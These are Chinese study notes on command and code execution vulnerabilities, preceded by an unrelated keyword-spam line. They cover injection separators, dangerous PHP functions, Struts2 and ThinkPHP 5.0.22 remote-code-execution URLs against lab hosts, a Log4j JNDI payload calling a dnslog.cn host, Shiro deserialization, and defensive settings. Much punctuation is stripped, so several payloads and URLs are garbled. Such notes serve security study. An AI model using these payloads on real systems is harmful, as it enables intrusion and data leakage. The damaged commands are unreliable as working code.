无锡机关单位建设网站,wordpress的标签有什么用,u nas 建设网站,Asp网站开发入门1.命令与代码执行原理 命令执行原理 参数给变量未经过滤#xff0c;直接使用了不安全的函数处理了变量 127.0.0.1ipconfig 有漏洞 常用的函数 assert,system,exec,shell_exec, eval,(反单引号#xff09; 代码执行原理 参数给变量未经过滤#xff…1.命令与代码执行原理 命令执行原理 参数给变量未经过滤直接使用了不安全的函数处理了变量 127.0.0.1ipconfig 有漏洞 常用的函数 assert,system,exec,shell_exec, eval,(反单引号 代码执行原理 参数给变量未经过滤直接使用了不安全的函数处理了变量使用了eval函数 可以执行代码 2.如何挖命令执行漏洞 1执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,(反单引号 2代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 3文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite 4.htaccess: SetHandler, auto_prepend_file, auto_append_file 3.命令执行一般出现那些地方 只要带参数的地方都可能出现命令执行漏洞 常见的路由器、防火墙、入侵检测、自动化运维平台 4.测试方法绕过方法 127.0.0.1ipconfig 过滤了可以使用 127.0.0.1ipconfig | 127.0.0.1|ipconfig 后面的被执行 || 5.框架介绍 struts2框架 1.怎么识别 扩展名为.action和.do payload apache.struts2 2.使用的工具 对比工具的区别采用抓包放包的wse抓包 2.struts2命令执行漏洞 s2-005、s2-009、s2-013、s2-016、s2-019、devmode、s2-032、s2-037、s2-045、s2-048、s2-052、s2-057 s2-045复现 dir /s c:\\*.jsp 查看文件路径/s是递归 s2-046复现 添加用户 可以开3389远程连接 s2-048复现 http://10.0.0.139:8090/struts2-showcase/integration/saveGangster.action s2-058复现 constant namestruts.mapper.alwaysSelectFullNamespace valuetrue /添加 删掉这里 把typechain改成typeredirectAction http://10.0.0.139:8090/struts2-showcase/actionChain1.action 这个页面有漏洞 thinkphp5.0.22框架 框架的搭建 修改文件在thinkphp目录搜索database.php文件配置数据库连接 PHP5.4以上版本 怎样知道对方的框架是thinkphp以及版本号 http://10.0.0.139:92/thinkphp/public/index.php 拼接错误的 http://10.0.0.139:92/thinkphp/public/index.php 打开图标为一个笑脸就是thinkphp 检测框架是否有漏洞 使用bp里面的工具 读取文件 http://10.0.0.139:92/thinkphp//runtime/log/202309/20.log 日志信息泄露 http://10.0.0.139:92/thinkphp/public//s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]-1 http://10.0.0.139:92/thinkphp/public//?scaptchatest-1 Post: _method__constructfilter[]phpinfomethodgetserver[REQUEST_METHOD]1 apache log4j Apache Log4j是一个开放源码的Java日志记录库,主要可以帮助开发人员更轻松地控制日志级别构建记录器以及在多种日志目标之间转换而无需修改日志消息。 原理 由于 Log4j 2 提供的 lookup 功能造成的该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中并未对输入进行严格的判断从而造成漏洞的发生。 漏洞影响版本 Apache Log4j 2.x 2.14.1 攻击代码 ${jndi:ldap://${sys:java.version}.iswaen.dnslog.cn} 后面需要换 怎么挖漏洞 在输入的地方登录的地方插入payload ${jndi:ldap://${sys:java.version}.iswaen.dnslog.cn} 修复方案 1. 升级到java8以上 2.中间件按官网升级 升级了会自动移除对lookup功能的支持默认就会禁用jndi的方法移除log4j包中的jndilookup类 apache shiro(反序列化) 搭建 cat /etc/apt/sources.list apt-get update apt-get install docker apt-get install docker-compose docker run -d -p 80:8080 medicean/vulapps:s_shiro_1 http://10.0.0.131/ webshell工具 介绍 Apache Shiro是一个功能强大且易于使用的 Java 安全框架主要包含身份验证、授权、加密和会话管理等功能可用于保护任何应用程序。 原理 shiro 550 提供了记住我的功能rememberme,用户登录成功后会生成经过加密并编码的cookie,在服务端接收cookie值后进行base64解码-ASE解码-反序列化。攻击者只要找到ase加密的密钥就可以构造一个恶意对象对其进行序列化-ASE加密-base64编码然后将其作为cookie的rememberme字段发送shirp将rememberme进行解密并且反序列化最终造成反序列化漏洞 shirp 721 由于apache siro cookie 中通过ase-128-cbc模式加密的rememberme字段并重新请求网站进行反序列化攻击最终导致任意代码执行 受影响版本区别 shiro 550 apache shiro 1.2.4 ase加密的密钥泄露造成了这个漏洞 shiro 721 apache shiro 1.4.2 rememberme字段出现问题 怎么判断apache shiro 框架 burp抓包有 rememberme 和 deleteme 攻击工具 shiroattack , shiroexp 修复方案 升级shiro至最新版本1.7.1 保持shiro版本不变修改rememberme默认密钥 禁用rememberme 默认密钥 6.防御 1. 配置好php相关参数 通过Php配置文件里面有个disable_functions 配置禁止某些php函数 例如disable_functions system,passthru,shell_exec,exec,popen 便禁止了用这些函数来执行系统命令 2.升级中间件 3.参数给变量严格过滤把参数写死。如果填入ip地址以点作为切割判断是不是四段